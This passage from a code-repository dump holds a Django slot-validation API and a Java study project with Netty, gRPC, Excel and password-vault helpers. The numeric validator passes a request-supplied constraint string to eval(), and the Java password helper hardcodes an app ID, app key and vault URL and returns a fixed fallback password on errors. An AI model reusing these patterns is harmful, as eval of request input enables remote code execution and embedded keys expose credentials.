] | 2 | Python | nkranthi28/BFS-2.1 | 2468ba759a1b351de4e2ea48944f06a007354464 | db5bd2425fdba6bb4a2f444e53acb2fcdebf44cb |
refs/heads/main | <repo_name>mornville/vernacularAi<file_sep>/assignment/views.py
import json
from django.http.response import HttpResponse
from rest_framework.response import Response
from rest_framework import status
from rest_framework.decorators import api_view
from .utils.numeric_entity import *;
from .utils.finite_entity import *;
@api_view(['POST'])
def finite_entity(request):
try:
body = json.loads(request.body.decode('utf-8'))
data = json.loads(request.body.decode("utf-8"))
values = body.get("values")
supported_values = body.get("supported_values")
invalid_trigger = body.get("invalid_trigger")
key = body.get("key")
support_multiple = body.get("support_multiple")
pick_first = body.get("pick_first")
validator = Finite_Entity()
filled, partially_filled, trigger, parameters = validator.validate_finite_values_entity(values, supported_values, invalid_trigger, key, support_multiple, pick_first)
response = {
"filled" : filled,
"partially_filled" : partially_filled,
"trigger" : trigger,
"parameters" : parameters
}
return Response(response, status=status.HTTP_200_OK)
except Exception as e:
return Response("Internal Server Error -> " + str(e), status=status.HTTP_500_INTERNAL_SERVER_ERROR)
@api_view(['POST'])
def numeric_entity(request):
try:
body = json.loads(request.body.decode("utf-8"))
values = body.get("values")
invalid_trigger = body.get("invalid_trigger")
key = body.get("key")
support_multiple = body.get("support_multiple")
pick_first = body.get("pick_first")
constraint = body.get("constraint")
var_name = body.get("var_name")
validator = Numeric_Entity()
filled, partially_filled, trigger, parameters = validator.validate_numeric_entity(values, invalid_trigger, key, support_multiple, pick_first, constraint, var_name)
response = {
"filled" : filled,
"partially_filled" : partially_filled,
"trigger" : trigger,
"parameters" : parameters
}
return Response(response, status=status.HTTP_200_OK)
except Exception as e:
return Response("Internal Server Error -> " + str(e), status=status.HTTP_500_INTERNAL_SERVER_ERROR)
@api_view(['GET', 'POST'])
def index(request=None):
return HttpResponse("Welcome, this is working.")<file_sep>/vernacularAi/urls.py
from django.conf.urls import url
from assignment import views
urlpatterns = [
url(r'^finite_entity/', views.finite_entity, name = 'finite_entity'),
url(r'^numeric_entity/', views.numeric_entity, name='numeric_entity'),
url(r'', views.index, name='landing')
]
<file_sep>/assignment/utils/finite_entity.py
from . parent import *
from typing import List
class Finite_Entity(Validate):
"""
Subclass to validate if the values belong to a finite set and extract it
"""
def validate_finite_values_entity(self, values: List[Dict], supported_values: List[str] = None,
invalid_trigger: str = None, key: str = None,
support_multiple: bool = True, pick_first: bool = False, **kwargs) -> SlotValidationResult:
"""
Validate an entity on the basis of its value extracted.
The method will check if the values extracted("values" arg) lies within the finite list of supported values(arg "supported_values").
:param pick_first: Set to true if the first value is to be picked up
:param support_multiple: Set to true if multiple utterances of an entity are supported
:param values: Values extracted by NLU
:param supported_values: List of supported values for the slot
:param invalid_trigger: Trigger to use if the extracted value is not supported
:param key: Dict key to use in the params returned
:return: a tuple of (filled, partially_filled, trigger, params)
"""
valid_values = []
if not supported_values:
supported_values = []
if not values:
values = []
if len(values) == 0:
self.set_trigger(invalid_trigger)
self.set_filled(False)
self.set_part_filled(False)
else:
supported_values_set = set(supported_values) # Set provides faster data acces.
for each_value in values:
if each_value["value"] in supported_values_set:
valid_values.append(each_value["value"].upper())
else:
self.set_trigger(invalid_trigger)
self.set_filled(False)
self.set_part_filled(True)
valid_values = []
break
self.set_parameters(valid_values, key, support_multiple, pick_first)
return self.get_response()
<file_sep>/README.md
# VernacularAi
## Dockerize and Creation of 2 POST API using Django restframework
Contains 2 POST Api as per the given requirements.
## Installation
- `git clone https://github.com/mornville/vernacularAi.git`
- `cd vernacularAi`
- Run Docker container as - `docker-compose up`
- Approx size of Docker Image `90.66 MB`
## Testing
- Test whether docker container is up and running by sending a POST/GET to `http://localhost:8000/`
### API 1 (POST API to validate a slot with a finite set of values.)
#### SAMPLE REQUEST
```json
{
"invalid_trigger": "invalid_ids_stated",
"key": "ids_stated",
"name": "govt_id",
"reuse": true,
"support_multiple": true,
"pick_first": false,
"supported_values": [
"pan",
"aadhaar",
"college",
"corporate",
"dl",
"voter",
"passport",
"local"
],
"type": [
"id"
],
"validation_parser": "finite_values_entity",
"values": [
{
"entity_type": "id",
"value": "college"
}
]
}
```
#### SAMPLE RESPONSE
```json
{
"filled": true,
"partially_filled": false,
"trigger": '',
"parameters": {
"ids_stated": ["COLLEGE"]
}
}
```
### API 2 (POST API to validate a slot with a numeric value extracted and constraints on the value extracted.)
#### SAMPLE REQUEST
```json
{
"invalid_trigger": "invalid_age",
"key": "age_stated",
"name": "age",
"reuse": true,
"pick_first": true,
"type": [
"number"
],
"validation_parser": "numeric_values_entity",
"constraint": "x>=18 and x<=30",
"var_name": "x",
"values": [
{
"entity_type": "number",
"value": 23
}
]
}
```
##### SAMPLE RESPONSE
```json
{
"filled": true,
"partially_filled": false,
"trigger": '',
"parameters": {
"age_stated": 23
}
}
```
<file_sep>/assignment/utils/parent.py
from typing import List, Dict, Callable, Tuple
SlotValidationResult = Tuple[bool, bool, str, Dict]
class Validate:
"""
Parent class for finite and numerical enitity value validation sub classes.
"""
def __init__(self):
## Initialize the output fields
self.filled = True
self.part_filled = False
self.trigger = ''
self.parameters = {}
""" SETTERS """
def set_filled(self, val: bool) -> None:
self.filled = val
def set_part_filled(self, val: bool) -> None:
self.part_filled = val
def set_trigger(self, val: str) -> None:
self.trigger = val
def set_parameters(self, values: List[str], key: str, support_multiple: bool = True, pick_first: bool = False) -> None:
# In case both support_multiple and pick_first are set to true or false, support_multiple will be prioritized.
if values != []:
if support_multiple or (not support_multiple and not pick_first):
self.parameters = {key : values} # If support_multiple is true, list of all valid values are sent in response
else:
self.parameters = {key : values[0]} # If pick_first is true, the first valid value is sent as a response
""" GETTERS """
def get_filled(self) -> bool:
return self.filled
def get_part_filled(self) -> bool:
return self.part_filled
def get_trigger(self) -> str:
return self.trigger
def get_parameters(self) -> Dict:
## get values
return self.parameters
def get_response(self) -> SlotValidationResult:
## Output response
return (
self.get_filled(),
self.get_part_filled(),
self.get_trigger(),
self.get_parameters()
)<file_sep>/Dockerfile
FROM python:alpine
ENV PYTHONNUNBUFFERED 1
RUN mkdir /app
WORKDIR /app
COPY . /app/
RUN pip install -r requirements.txt<file_sep>/assignment/utils/numeric_entity.py
from . parent import *
from typing import List
class Numeric_Entity(
Validate):
"""
Subclass to validate if the numeric values obey the given constraint and extract them
"""
def validate_numeric_entity(self, values: List[Dict], invalid_trigger: str = None, key: str = None,
support_multiple: bool = True, pick_first: bool = False, constraint=None, var_name=None,
**kwargs) -> SlotValidationResult:
"""
Validate an entity on the basis of its value extracted.
The method will check if that value satisfies the numeric constraints put on it.
If there are no numeric constraints, it will simply assume the value is valid.
If there are numeric constraints, then it will only consider a value valid if it satisfies the numeric constraints.
In case of multiple values being extracted and the support_multiple flag being set to true, the extracted values
will be filtered so that only those values are used to fill the slot which satisfy the numeric constraint.
If multiple values are supported and even 1 value does not satisfy the numeric constraint, the slot is assumed to be
partially filled.
:param pick_first: Set to true if the first value is to be picked up
:param support_multiple: Set to true if multiple utterances of an entity are supported
:param values: Values extracted by NLU
:param invalid_trigger: Trigger to use if the extracted value is not supported
:param key: Dict key to use in the params returned
:param constraint: Conditional expression for constraints on the numeric values extracted
:param var_name: Name of the var used to express the numeric constraint
:return: a tuple of (filled, partially_filled, trigger, params)
"""
valid_values = []
if not values: # In case values list is not passed in request
values = []
if len(values) == 0:
self.set_trigger(invalid_trigger)
self.set_filled(False)
self.set_part_filled(False)
else:
for idx, value in enumerate(values):
if constraint:
exp = constraint.replace(var_name, str(value["value"]))
if eval(exp): # As it's mentioned that the contraint follows python syntax, it can be evaluated using eval() method
valid_values.append(value["value"])
else:
self.set_trigger(invalid_trigger)
self.set_filled(False)
self.set_part_filled(True)
else:
valid_values.append(value["value"])
self.set_parameters(valid_values, key, support_multiple, pick_first)
return self.get_response()
| 2d6d75cfb0bc94581bc994b31412577a1d27aefb | [
"Markdown",
"Python",
"Dockerfile"
] | 7 | Python | mornville/vernacularAi | ee38cde117a248e5555e888b779ed6176878bbb1 | 431130640b6e9d0fe36cfcd5efcb00e7a0513d23 |
refs/heads/master | <file_sep>package com.hcicloud.sap.common.network;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
/**
* Created by songxueyan on 2016/12/19.
*/
public class SuccessQueryJson {
//private String[] _source = {"ORDER_ID","VOICE_ID","PLAT_FORM","USER_PHONE","CALL_LENGTH","CALL_COENGTENT","QUALITY_NAME","QUALITY_DETAIL","QUALITY_DATA","QUALITY_DETAIL","CALL_START_TIME","CALL_END_TIME","CREATE_TIME"};
private Integer from;
private Integer size;
private JSONObject query;
public Integer getSize() {
return size;
}
public void setSize(Integer size) {
this.size = size;
}
public Integer getFrom() {
return from;
}
public void setFrom(Integer from) {
this.from = from;
}
public JSONObject getQuery() {
return query;
}
public void setQuery(JSONObject query) {
this.query = query;
}
/* public static String getJson(Integer from, Integer size){
SuccessQueryJson json = new SuccessQueryJson();
json.setFrom(from);
json.setSize(size);
return JSON.toJSONString(json);
}*/
public static String getJson(Integer from, Integer size, String query){
JSONObject obj = null;
if(query!=null){
obj = JSON.parseObject(query);
}else {
obj = new JSONObject();
}
obj.put("from",from);
obj.put("size",size);
JSONObject sort = new JSONObject();
JSONObject createTime = new JSONObject();
createTime.put("order", "desc");
createTime.put("ignore_unmapped", "true");
sort.put("CREATE_TIME", createTime);
obj.put("sort", sort);
return obj.toJSONString();
}
}
<file_sep>apply plugin: 'java-library'
apply plugin: 'com.google.protobuf'
apply plugin: 'java'
apply plugin: 'idea'
sourceCompatibility = 1.8
targetCompatibility = 1.8
//sourceSets {
// main {
// java {
// srcDir 'com'
// }
// resources {
// srcDir 'resources'
// }
// }
//}
repositories {
jcenter()
}
dependencies {
compile fileTree(dir:'web/WEB-INF/lib',include:['*.jar'])
}
dependencies {
compile (
// 'io.netty:netty-all:4.1.10.Final',
'io.netty:netty-all:3.10.5.Final',
'com.google.protobuf:protobuf-java:3.3.1',
'com.google.protobuf:protobuf-java-util:3.3.1',
'org.apache.commons:commons-math3:3.6.1',
'com.google.guava:guava:21.0',
'org.apache.thrift:libthrift:0.10.0',
'io.grpc:grpc-netty:1.4.0',
'io.grpc:grpc-protobuf:1.4.0',
'io.grpc:grpc-stub:1.4.0'
)
// compile fileTree(dir:'web/WEB-INF/lib',include:['*.jar'])
}
buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath 'com.google.protobuf:protobuf-gradle-plugin:0.8.1'
}
}
protobuf {
protoc {
artifact = "com.google.protobuf:protoc:3.2.0"
}
plugins {
grpc {
artifact = 'io.grpc:protoc-gen-grpc-java:1.4.0'
}
}
generateProtoTasks {
all()*.plugins {
grpc {}
}
}
}
task wrapper(type: Wrapper) {
gradleVersion = '4.7'
}
[compileJava, compileTestJava]*.options*.encoding = 'UTF-8'
<file_sep>package com.hcicloud.sap.study.thread;
import org.springframework.stereotype.Service;
import java.util.Scanner;
@Service
public class Memorizer {
public void test() {
int i = 0;
while (true){
System.out.println("进入方法了===================="+i);
Scanner out = new Scanner(System.in);
System.out.println("输入一个int型数据:");
int a= out.nextInt();
System.out.println(a);
}
}
}
<file_sep>/**
* @Title: ExcelHelp.java
* @Package com.sinovoice.csr.manager.service.test
* @Description: TODO(用一句话描述该文件做什么)
* @author 姜英朕
* @date 2014年1月1日 下午5:03:36
*/
package com.hcicloud.sap.common.utils;
import org.apache.poi.hssf.usermodel.HSSFWorkbook;
import org.apache.poi.ss.usermodel.*;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import java.io.InputStream;
import java.util.*;
/**
* @ClassName: ExcelHelp
* @Description: TODO(这里用一句话描述这个类的作用)
* @author jiangyingzhen
* @date 2014年1月1日 下午5:03:36
*
*/
public class ExcelHelp {
/**
* 读取excel
*
* @param excelFile
* @param excelFileFileName
* @return
* @throws Exception
*/
public static List<List<List<String>>> getExcelData(InputStream inputStream, String excelFileFileName) {
Workbook book = null;
try {
book = createWorkBook(inputStream,excelFileFileName);
} catch (Exception e) {
throw new RuntimeException("Excel文件出错,请检查文档格式");
}
List<List<List<String>>> retList = new ArrayList<List<List<String>>>();
try {
for (int i = 0; i < book.getNumberOfSheets(); i++) {
Sheet sheet = book.getSheetAt(i);
if (sheet == null) {
retList.add(null);
}
else {
retList.add(ReadSheet(sheet));
}
}
} catch (Exception e) {
throw new RuntimeException("读取文件数据出错,请检查文档内数据");
}
return retList;
}
/**
* 读取sheet
*
* @param sheet
* @return
* @throws Exception
*/
// 把一个sheet转换为数据
public static List<List<String>> ReadSheet(Sheet sheet) throws Exception {
// 要读取的数据列
List<List<String>> retList = new ArrayList<List<String>>();
if(sheet.getLastRowNum()==0)
return retList;
//以第一行表头为准,表头为多少列就为多少列。
List<String> titleRowDate = new ArrayList<String>();
Row firstros = sheet.getRow(0);
Iterator<Cell> iterator = firstros.cellIterator();
while(iterator.hasNext())
{
Cell cell=iterator.next();
if(cell != null&&!"".equals(trimCellValue(cell.getStringCellValue())))
titleRowDate.add(trimCellValue(cell.getStringCellValue()));
}
retList.add(titleRowDate);
for (int i = 1; i <= sheet.getLastRowNum(); i++) {
// 第一行数据
List<String> rowDate = new ArrayList<String>();
Row ros = sheet.getRow(i);
if (ros != null) {
//按照标题列数计算
for(int j=0;j<titleRowDate.size();j++)
{
Cell cell=ros.getCell(j);
if(cell==null)
rowDate.add("");
else{
cell.setCellType(Cell.CELL_TYPE_STRING);
rowDate.add(trimCellValue(cell.getStringCellValue()));
}
}
}
retList.add(rowDate);
}
return retList;
}
public static String trimCellValue(String cellvalue){
if(cellvalue==null)
cellvalue="";
else
cellvalue= StringUtil.trimC(cellvalue).replace("\r", "").replace("\n","");
return cellvalue;
}
/**
* 根据文件类型生成workbook
*
* @param is
* @param excelFileFileName
* @return
* @throws Exception
*/
// 判断文件类型
public static Workbook createWorkBook(InputStream is,
String excelFileFileName) throws Exception {
if (excelFileFileName.toLowerCase().endsWith("xls")) {
return new HSSFWorkbook(is);
}
if (excelFileFileName.toLowerCase().endsWith("xlsx")) {
return new XSSFWorkbook(is);
}
return null;
}
/**
* 此方法用于创建一个新的Workbook并将分页的数据循环追加至excel内容
* @param map 封装的表格数据 其中第一个list为列宽 第二个list为列名
* @param wb 创建的workbook对象
* @param isCreatSheet 第一次调用传true生成第一个sheet页 第二次以后传false会自动向wb中增加sheet
* @param hasSerialNumber 是否添加 “序号” 列
* @return
*/
public static void CreateExcelByPage(Map<String, List<List<String>>> map, Workbook wb , int maxRow, boolean isCreatSheet, boolean hasSerialNumber) {
Set<String> keys = map.keySet();
Iterator<String> iterator = keys.iterator();
String key = iterator.next();
List<List<String>> sheetList = map.get(key); //表数据
//设置表头
List<String> firstData = sheetList.get(0);
sheetList.remove(0);
List<String> secondData = sheetList.get(0);
sheetList.remove(0);
if(hasSerialNumber){
firstData.add(0, "25");
secondData.add(0, "序号");
}
Sheet sheet ;
Map<String, CellStyle> stylemap = createStyles(wb);
if(isCreatSheet){
sheet = wb.createSheet(key);
for(int i=0;i<firstData.size();i++)
{
//70为两个像素
short width=(short)(70*Integer.parseInt(firstData.get(i)));
sheet.setColumnWidth((short)i,width);
}
//创建表头
Row row = sheet.createRow(0);
for (int j = 0; j < secondData.size(); j++) {
Cell cell = row.createCell(j);
cell.setCellValue(secondData.get(j));
cell.setCellStyle(stylemap.get("title"));
cell.setCellType(Cell.CELL_TYPE_STRING);
}
}
int sheetNum = wb.getNumberOfSheets(); //获取sheet页总数量
sheet = wb.getSheetAt(sheetNum-1); //获取最后一个sheet页
int rowNum = sheet.getLastRowNum()+1; //获取总行数
//遍历sheet数据
// 遍历sheet数据
List<String> rowList = new ArrayList<String>();
for (int i = 0; i < sheetList.size(); i++) {
rowNum = sheet.getLastRowNum()+1;
if(rowNum > maxRow){//sheet页已满 创建新sheet 设置表头
sheetNum = wb.getNumberOfSheets();
sheet = wb.createSheet(key+sheetNum);
for(int k=0;k<firstData.size();k++)
{
//70为两个像素
short width=(short)(70*Integer.parseInt(firstData.get(k)));
sheet.setColumnWidth((short)k,width);
}
//创建表头
Row row = sheet.createRow(0);
for (int j = 0; j < secondData.size(); j++) {
Cell cell = row.createCell(j);
cell.setCellValue(secondData.get(j));
cell.setCellStyle(stylemap.get("title"));
cell.setCellType(Cell.CELL_TYPE_STRING);
}
rowNum = sheet.getLastRowNum()+1;
}
rowList = sheetList.get(i);
Row row = sheet.createRow(rowNum);
row.setHeight((short) (2 * 356));
int firstColumn ; //1表示有序号列 0表示没序号列
if(hasSerialNumber){ //设置序号列
Cell cell = row.createCell(0);
cell.setCellValue(rowNum);
cell.setCellStyle(stylemap.get("default"));
cell.setCellType(Cell.CELL_TYPE_NUMERIC);
firstColumn = 1;
}else{
firstColumn = 0;
}
for (int j = 0; j < rowList.size(); j++) {
Cell cell = row.createCell(j+firstColumn);
cell.setCellValue(rowList.get(j)!=null?rowList.get(j):"");
cell.setCellStyle(stylemap.get("default"));
cell.setCellType(Cell.CELL_TYPE_STRING);
}
}
sheetList.clear();
map.clear();
rowList.clear();
}
// 创建并生成excel
public static Workbook CreateExcel(Map<String, List<List<String>>> map, int ishasColumnWidth) {
Workbook wb = new HSSFWorkbook();// 创建工作薄
Set<String> keys = map.keySet();
Iterator<String> iterator = keys.iterator();
Map<String, List<List<String>>> sheetMap = new HashMap<String, List<List<String>>>();
// 循环创建sheet
while (iterator.hasNext()) {
String key = iterator.next();
List<List<String>> sheetList = map.get(key);
int count = 65534;
if(sheetList.size()>count+2){
List<String> firstData = sheetList.get(0);
sheetList.remove(0);
List<String> secondData = sheetList.get(0);
sheetList.remove(0);
int size = sheetList.size();
for (int i = 0; size>i*count; i++) {
List<List<String>> subSheetList = new ArrayList<List<String>>();
subSheetList.add(firstData);
subSheetList.add(secondData);
int endIndex = size-(i+1)*count>0?(i+1)*count:size;
for (int j = i*count; j < endIndex; j++) {
subSheetList.add(sheetList.get(j));
}
sheetMap.put(key + Integer.toString(i), subSheetList);
}
}else{
sheetMap.put(key, map.get(key));
}
}
keys = sheetMap.keySet();
iterator = keys.iterator();
Map<String, CellStyle> stylemap = createStyles(wb);
while (iterator.hasNext()) {
String sheetname = iterator.next();
// 创建sheet
Sheet workSheet = wb.createSheet(sheetname);
List<List<String>> contentList = sheetMap.get(sheetname);
//如果第一行是ishasColumnWidth
if(ishasColumnWidth==1)
{
List<String> widthList=contentList.get(0);
contentList.remove(0);
for(int i=0;i<widthList.size();i++)
{
//70为两个像素
short width=(short)(70*Integer.parseInt(widthList.get(i)));
workSheet.setColumnWidth((short)i,width);
}
}
// 获取sheet数据
// 遍历sheet数据
for (int i = 0; i < contentList.size(); i++) {
List<String> rowList = contentList.get(i);
Row row = workSheet.createRow(i);
row.setHeight((short) (2 * 356));
CellStyle cellStyle;
if(i==0)
cellStyle=stylemap.get("title");
else {
cellStyle=stylemap.get("default");
}
for (int j = 0; j < rowList.size(); j++) {
Cell cell = row.createCell(j);
cell.setCellValue(rowList.get(j));
cell.setCellStyle(cellStyle);
cell.setCellType(Cell.CELL_TYPE_STRING);
}
}
}
return wb;
}
//获取表头数据
private static Map<String, CellStyle> createStyles(Workbook wb) {
Map<String, CellStyle> styles = new HashMap<String, CellStyle>();
// ----------------------标题样式---------------------------
CellStyle cell_header_title = wb.createCellStyle();
Font font_header_title = wb.createFont();
font_header_title.setBoldweight(Font.BOLDWEIGHT_BOLD);//
font_header_title.setFontHeight((short) (12 * 20));
font_header_title.setFontName("Times New Roman");//
cell_header_title.setFont(font_header_title);
cell_header_title.setAlignment(CellStyle.ALIGN_CENTER);//
cell_header_title.setVerticalAlignment(CellStyle.VERTICAL_CENTER);
cell_header_title.setWrapText(true);
cell_header_title.setBorderBottom(CellStyle.BORDER_THIN);
cell_header_title.setBorderLeft(CellStyle.BORDER_THIN);
cell_header_title.setBorderTop(CellStyle.BORDER_THIN);
cell_header_title.setBorderRight(CellStyle.BORDER_THIN);
styles.put("title", cell_header_title);
// -----------------------数据样式---------------------------
CellStyle cell_data_default = wb.createCellStyle();
Font font_data_default = wb.createFont();
font_data_default.setBoldweight(Font.BOLDWEIGHT_NORMAL);
font_data_default.setFontHeight((short) (10 * 20));
font_data_default.setFontName("Arial Narrow");
cell_data_default.setFont(font_data_default);
cell_data_default.setAlignment(CellStyle.ALIGN_CENTER);
cell_data_default.setVerticalAlignment(CellStyle.VERTICAL_CENTER);
cell_data_default.setWrapText(true);
cell_data_default.setBorderBottom(CellStyle.BORDER_THIN);
cell_data_default.setBorderLeft(CellStyle.BORDER_THIN);
cell_data_default.setBorderTop(CellStyle.BORDER_THIN);
cell_data_default.setBorderRight(CellStyle.BORDER_THIN);
styles.put("default", cell_data_default);
return styles;
}
}
<file_sep>package com.hcicloud.sap.study.netty.grpc.server;
import com.hcicloud.sap.study.netty.grpc.generated.RequestInfo;
import com.hcicloud.sap.study.netty.grpc.generated.ResponseInfo;
import com.hcicloud.sap.study.netty.grpc.generated.StudentServiceGrpc.StudentServiceImplBase;
import io.grpc.stub.StreamObserver;
public class StudentBizService extends StudentServiceImplBase{
@Override
public void getRealname(RequestInfo request, StreamObserver<ResponseInfo> responseObserver) {
System.out.println("接收到客户端的信息:"+request.getUsername());
ResponseInfo responseInfo = ResponseInfo.newBuilder().setRealname("Sam").build();
responseObserver.onNext(responseInfo);
responseObserver.onCompleted();
}
}<file_sep>package com.hcicloud.sap.common.utils;
public class SystemParamUtil {
/**
* 根据系统参数名称获取系统参数值
*
* @param name
* 系统参数名称
* @return
*/
public static String getValueByName(String name) {
return null;
}
}
<file_sep>package com.hcicloud.sap.study.netty.protobuf.client;
import com.hcicloud.sap.study.netty.protobuf.seconddemo.ModelInfo;
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.ChannelPipeline;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.protobuf.ProtobufDecoder;
import io.netty.handler.codec.protobuf.ProtobufEncoder;
import io.netty.handler.codec.protobuf.ProtobufVarint32FrameDecoder;
import io.netty.handler.codec.protobuf.ProtobufVarint32LengthFieldPrepender;
public class ProtoBufClient {
public static void main(String[] args){
EventLoopGroup eventLoopGroup = new NioEventLoopGroup();
try {
//加载Initializer
Bootstrap bootstrap = new Bootstrap();
bootstrap.group(eventLoopGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
ChannelPipeline channelPipeline = socketChannel.pipeline();
//将字节数组转换成Person对象和将Person对象转成字节数组,一共需要四个处理器
channelPipeline.addLast(new ProtobufVarint32FrameDecoder());
channelPipeline.addLast(new ProtobufDecoder(ModelInfo.Person.getDefaultInstance()));
channelPipeline.addLast(new ProtobufVarint32LengthFieldPrepender());
channelPipeline.addLast(new ProtobufEncoder());
//自定义处理器
channelPipeline.addLast(new ProtobufClientHandler());
}
});
//连接服务端
ChannelFuture channelFuture = bootstrap.connect("localhost",8899).sync();
channelFuture.channel().closeFuture().sync();
} catch (Exception e) {
e.printStackTrace();
}finally{
eventLoopGroup.shutdownGracefully();
}
}
}
<file_sep>package com.hcicloud.sap.study.thread.futureTask;
public interface Computable<A, V> {
V compute(A arg) throws InterruptedException;
}
<file_sep>package com.hcicloud.sap.study.offer;
/**
* 题目描述【1.二维数组中的查找】
* 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序。请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数。
*
*
* 解答:
* 从左下角元素往上查找,右边元素是比这个元素大,上边元素比这个元素小。
* 于是target比这个元素小,就往上找,target比这个元素大,就往右找。如果出了边界,则说明二维数组中不存在target元素。
*/
public class Offer001 {
public boolean find(int target, int [][] array) {
//数组值arr[x][y]表示指定的是第x行第y列的值。
//在使用二维数组对象时,注意length所代表的长度,
//数组名后直接加上length(如arr.length),所指的是有几行(Row);
int rows = array.length;
//指定索引后加上length(如arr[0].length),指的是该行所拥有的元素,也就是列(Column)数目。
int cols = array[0].length;
int i = rows - 1, j = 0;
while(i >= 0 && j < cols){
if (target > array[i][j]){
j++;
}
else if (target < array[i][j]){
i--;
}
else
return true;
}
return false;
}
}
<file_sep>package com.hcicloud.sap.study.netty.http;
import io.netty.bootstrap.ServerBootstrap;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.ChannelPipeline;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.handler.codec.http.HttpServerCodec;
/**
* 编写netty程序的步骤都比较相似:
1、 启动group监听客户端请求
2、编写Initializer添加handler
3、自定义业务handler
*/
public class HttpServer {
public static void main(String[] args){
//todo EventLoopGroup类似死循环,一直监听8899端口是否有请求到达。
// 接收连接,但是不处理
EventLoopGroup parentGroup = new NioEventLoopGroup();
// 真正处理连接的group
EventLoopGroup childGroup = new NioEventLoopGroup();
try {
//加载Initializer
ServerBootstrap serverBootstrap = new ServerBootstrap();
serverBootstrap.group(parentGroup, childGroup).channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
ChannelPipeline pipeline = socketChannel.pipeline();
pipeline.addLast("httpServerCodec", new HttpServerCodec());
pipeline.addLast("testHttpServerHandler", new HttpServerHandler());
}
});
//绑定监听端口
ChannelFuture channelFuture = serverBootstrap.bind(8899).sync();
channelFuture.channel().closeFuture().sync();
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}finally{
parentGroup.shutdownGracefully();
childGroup.shutdownGracefully();
}
}
}
<file_sep>package com.hcicloud.sap.common.utils.pingan;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class PasswordProvider {
static Pattern pattern = Pattern.compile("\"?([^\":,{}]+)\"?\\s*:\\s*\"?([^\":,{}]+)\"?");
public static String getPasswordFromRemote(String url, String appId, String safe, String folder, String object, String reason, String appKey) {
/*
* 参数说明
* url = "https://prd-ccp.paic.com.cn/pidms/rest/pwd/getPassword"
* appId = "App_GCC_WER__61f00a0d8587419d"
* safe = "AIM_GCC_WER"
* folder = "root"
* object = "Oracle-ICSS-qctjs"
* reason = null
* appKey ="1f0217f1ea988f0b"
* */
try {
Map<String, Object> param = new HashMap<String, Object>();
param.put("appId", appId);
param.put("safe", safe);
param.put("folder", folder);
param.put("object", object);
param.put("reason", reason);
param.put("sign", SignUtil.makeSign(param, appKey));
param.put("requestId", "20170101001001");
param.put("requestTime", "20170227140342332");
URL postUrl = new URL(url);
HttpURLConnection connection = (HttpURLConnection) postUrl.openConnection();
connection.setDoOutput(true);//需要输出
connection.setDoInput(true);//需要输入
connection.setRequestMethod("POST");
connection.setUseCaches(false);//不允许缓存
connection.setRequestProperty("Content-Type", "application/json");
connection.connect();
DataOutputStream out = new DataOutputStream(connection.getOutputStream());
StringBuilder sb = new StringBuilder("{");
for (Entry<String, Object> e:param.entrySet()) {
if(e.getKey()==null) continue;
sb.append('"').append(e.getKey()).append('"');
sb.append(':');
Object v = e.getValue();
if(v==null){
sb.append("null");
}else if(v instanceof Number){
sb.append(v.toString());
}else{
sb.append('"').append(v.toString()).append('"');
}
sb.append(',');
}
sb.setCharAt(sb.length()-1, '}');
out.writeBytes(sb.toString());
out.flush();
out.close();
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"));
StringBuilder sb2 = new StringBuilder();
for (String line = reader.readLine(); line != null; line = reader.readLine()) {
sb2.append(line);
}
Map<String, Object> result = new HashMap<String, Object>();
for(Matcher m = pattern.matcher(sb2.toString());m.find();){
String k = m.group(1);
String v = m.group(2);
if(k.length()>0&&!"null".equals(k)){
result.put(k, "null".equals(v)?null:v);
}
}
if (result != null && "200".equals(result.get("code"))) {
return SecurityUtil.decrypt((String) result.get("password"), appKey);
}
// throw new Exception((String) result.get("msg"));
} catch (Exception e) {
// throw new RuntimeException("getpassword from remote error", e);
e.printStackTrace();
System.out.println("getpassword from remote error");
}
return "000000";
}
public static void main(String[] args) {
String abc= PasswordProvider.getPasswordFromRemote("https://prd-ccp.paic.com.cn/pidms/rest/pwd/getPassword","App_GCC_WER__61f00a0d8587419d", "AIM_GCC_WER", "root", "Oracle-ICSS-qctjs", null, "1f0217f1ea988f0b");
System.out.println(abc);
}
}
<file_sep>package com.hcicloud.sap.study.thread.connTask;
import java.util.Date;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Service;
@Service
public class TimerTaskJob {
// @Scheduled(fixedRate=2000)
//测试定时任务的开启
// @Scheduled(cron="0/5 * * * * *")
// public void test(){
// System.out.println("我是定时任务:"+new Date().toString());
// }
//测试定时任务中的while(true)
// @Scheduled(cron="0/1 * * * * *")
// public void testWhile(){
//
//// while (true){
// System.out.println("我是定时任务:"+new Date().toString());
// try {
// Thread.sleep(5000);
//
//
// } catch (InterruptedException e) {
// e.printStackTrace();
// }
//// }
//
// //TODO 去掉 while 循环后,会发现时间相差 6 秒,可知同一个类中的方法,会等待上一个方法结束后,1 秒【定时任务设置的每一秒执行一次】才会执行。
// //我是定时任务:Fri Sep 01 10:19:09 CST 2017
// //我是定时任务:Fri Sep 01 10:19:15 CST 2017
// //我是定时任务:Fri Sep 01 10:19:21 CST 2017
// //我是定时任务:Fri Sep 01 10:19:27 CST 2017
